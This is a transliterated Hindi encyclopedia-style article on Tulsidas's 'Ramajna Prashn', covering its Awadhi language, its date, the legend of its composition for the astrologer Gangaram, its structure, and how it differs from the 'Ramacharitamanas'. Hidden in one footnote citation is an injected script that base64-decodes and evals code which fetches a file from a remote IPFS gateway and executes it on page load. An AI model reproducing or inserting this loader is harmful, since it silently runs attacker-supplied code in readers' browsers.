रामाज्ञा प्रश्न
ramajna prashn
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| kavi | gosvami tulasidas | |
| mool shirshak | 'ramajna prashn' | |
| desh | bharat | |
| bhasha | avadhi | |
| vishay | shubhashubh phal vichar | |
| bhag | sat-sat saptakoan ke sat sarg. | |
| tippani | kathanak ki drishti se 'ramajna-prashn' 'ramacharitamanas' se kuchh vistaroan mean bhinn hai, jaise- isamean vivah ke poorv ka ram-sita ka pushm-vatika prasang nahian hai. | |
ramajna prashn gosvami tulasidas ki ek aisi rachana hai, jo shubhashubh phal vichar ke lie rachi gayi hai, kiantu yah phal-vichar tulasidas ne ram-katha ki sahayata se prastut kiya hai. tulasidas ki yah rachana dohoan mean haian. sat-sat saptakoan ke sat sargoan ke lie pustak kholane par jo doha milata hai, usake poorvarddh mean ram-katha ka koee prasang ata hai aur uttarardh mean shubhashubh phal. katha ki drishti se yah 'ramacharitamanas' se kuchh vistaroan mean bhinn hai. 'ramajna prashn' par 'valmiki ramayan' tatha 'raghuvansh' ka apekshakrit adhik prabhav jnat hota hai.
bhasha tatha rachana kal
tulasidas dvara rachit 'ramajna-prashn' ki rachana avadhi bhasha mean hai. yah tulasidas ji ki prarambhik kritiyoan mean se ek hai. isaka rachana kal tatha tithi nimnalikhit dohe mean ati hai-
"sagun saty sasinayan gun avadhi adhik nay ban.
hoee suphal subh jasu jas priti pratiti praman॥[1]
is prakar rachana ki tithi sanvat 1621 hai.
sankshipt katha
kaha jata hai ki gosvami tulasidasaji ne apane parichit gangaram jyotishi ke liye 'ramajna-prashn' ki rachana ki thi. gangaram jyotishi kashi mean prahladaghat par rahate the. ve pratidin sayan kal shrigosvami ji ke sath sandhya karane ganga ke tat par jaya karate the. ek din gosvami ji ne kaha- "ap padharean, maian aj ganga kinare nahian ja sakooanga." gosvami ji ne poochha- "ap bahut udas dikhate haian, karan kya hai?" jyotishiji ne batalaya- "rajaghat par do gadhabar-vanshiy naresh haian, unake rajakumar akhet ke liye gaye the, kintu laute nahian. samachar mila hai ki akhet mean jo log gaye the, unamean se ek ko bagh ne mar diya hai. raja ne mujhe aj bulaya tha. mujhase poochha gaya ki unaka putr sakushal hai ya nahian, kintu ye bat rajaoan ki thahari, kaha gaya hai ki uttar thik nikala to bhari puraskar milega anyatha pranadand diya jayaga. maian ek din ka samay maangakar ghar a gaya hooan, kintu mera jyotish-jnan itana nahian ki nishchayatmak uttar de sakooan. pata nahian kal kya hoga." du:khi brahman par tulasidas ko daya a gayi. unhoanne kaha- "ap chinta n karean. shriraghunath ji sab mangal kareange."[2]
ashvasan milane par gangaram gosvami ji ke sath sandhya karane gaye. sandhya karake lautane par gosvami ji yah granth likhane baith gaye. us samay unake pas syahi nahian thi. kattha gholakar sarakande ki kalam se chh: ghante mean yah granth gosvami ji ne likha aur gangaram ko de diya. doosare din jyotishi gangaram raja ke samip gaye. granth se shakun dekhakar unhoanne bata diya- "rajakumar sakushal haian." rajakumar sakushal the. unake kisi sathi ko bagh ne mara tha, kintu rajakumar ke lautane tak raja ne gangaram ko bandi grih mean band rakha. jab rajakumar ghar laut aye, tab raja ne jyotishi gangaram ko karagar se chho da, kshama maangi aur bahut adhik sampatti di. vah sab dhan gangaram ne gosvami tulasidas ke charanoan mean lakar rakh diya. gosvami ji ko dhan ka kya karana tha, kintu gangaram ka bahut adhik agrah dekhakar unake santosh ke liye das hajar rupaye usamean se lekar unase hanuman ke das mandir gosvami ji ne banavaye. un mandiroan mean dakshinabhimukh hanuman ji ki moortiyaan haian.
yah granth sat sargoan mean samapt hua hai. pratyek sarg mean sat-sat saptak haian aur pratyek saptak mean sat-sat dohe haian. isamean 'ramacharitamanas' ki katha varnit hai; kintu kram bhinn haian. pratham sarg tatha chaturth sarg mean 'balakand' ki katha hai. dvitiy sarg mean 'ayodhyakand' tatha kuchh 'aranyakand' ki bhi. tritiy sarg mean 'aranyakand' tatha 'kishkindhakand' ki katha hai. pancham sarg mean 'sundarakand' tatha 'lankakand' ki, shashth sarg mean rajyabhishek ki katha tatha kuchh any kathaean haian. saptam sarg mean sphut dohe haian aur shakun dekhane ki vidhi hai.
- kala kaushal
isamean svabhavat: vah paripakvata nahian hai, jo 'manas' athava any paravarti rachanaoan mean hai. prabandh-nirvah mean to truti prakat hai. tisare sarg tak katha ram janm se sundar-kand ke vanarasampati-milan tak akar laut p dati hai aur age ke tin sargoan mean pun: ramajanm se prarambh hokar sita avani pravesh tak chalati hai. satavaan sarg bahut sphut dhang par likha gaya hai, usake chhathe saptak mean ram ke vanagaman ki katha ati hai, kiantu shesh chh: saptakoan mean katha n dekar ram bhakti matr kak sahara liya gaya hai.
kathanak
kathanak ki drishti se 'ramajna-prashn' 'ramacharitamanas' se kuchh vistaroan mean bhinn hai. jaise isamean vivah ke poorv ka ram-sita ka pushm-vatika prasang nahian hai. dhanurbhang ke bad ram-vivah ka nimantran lekar janak ki or se dasharath ke pas shatanand jate haian. parashuram-ram milan svayanvar-bhoomi mean n hokar barat ke lautate samay marg mean hota hai. vanavas mean ram ka pratham p dav tamasa nadi ke tat par n hokar surasari tat par hota hai. chitrakoot mean janak ka agaman nahian hota. sita ki khoj mean jane par vibhishan se hanuman ki bheant nahian hoti.
setubandh ke avasar par shivaliang ki sthapana ka ullekh nahian hai. bali ke putr aangad ko ravan ke pas dootattv ke lie nahian bheja jata hai. sath hi, isamean sita-ram ke ayodhya lautane par sita ke avadh pravesh tak ke kuchh aise katha-prasang ate haian, jo 'manas' mean nahian haian. jaise mrit brahman balak ko jivan-dan (6,516), bak-ulook tatha yati-shvan vivadoan ka samadhan (6-6-1-3), sita-tyag aur lav-kush janm (6-6-4-6) tatha (7-4) aur sita ka avani-pravesh (6-7-6). in aantaroan par vichar karane se jnat hota hai ki kavi par 'ramajna prashn' ki rachana tak' 'prasann raghav natak', 'hanumannatak' tatha 'adhyatm ramayan' ka utana prabhav nahian tha, jitana bad ko 'manas' ki rachana ke samay hua. 'ramajna-prashn' par 'valmiki ramayan' tatha 'raghuvansh' ka apekshakrit adhik prabhav jnat hota hai.
rachana ki tithi
rachana ki tithi nishchit hone se yah jnat hota hai ki 'manas' ke poorv ram-katha ka kaun sa roop kavi ke manas mean tha, isalie isaki sahayata se tulasidas ki aisi rachanaoan ke kal-nirman mean sahayak ho saki hai, jinamean rachana-tithi nahian ati hai.
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tika tippani aur sandarbh
- ↑ shashi=1, nayan=2, gun=6, nay=4 tatha ban= 5 aur donoan ka adhiky (aantar) =1
- ↑ ramajna-prashn (hindi). . abhigaman tithi: 07 aktoobar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 525.
sanbandhit lekh
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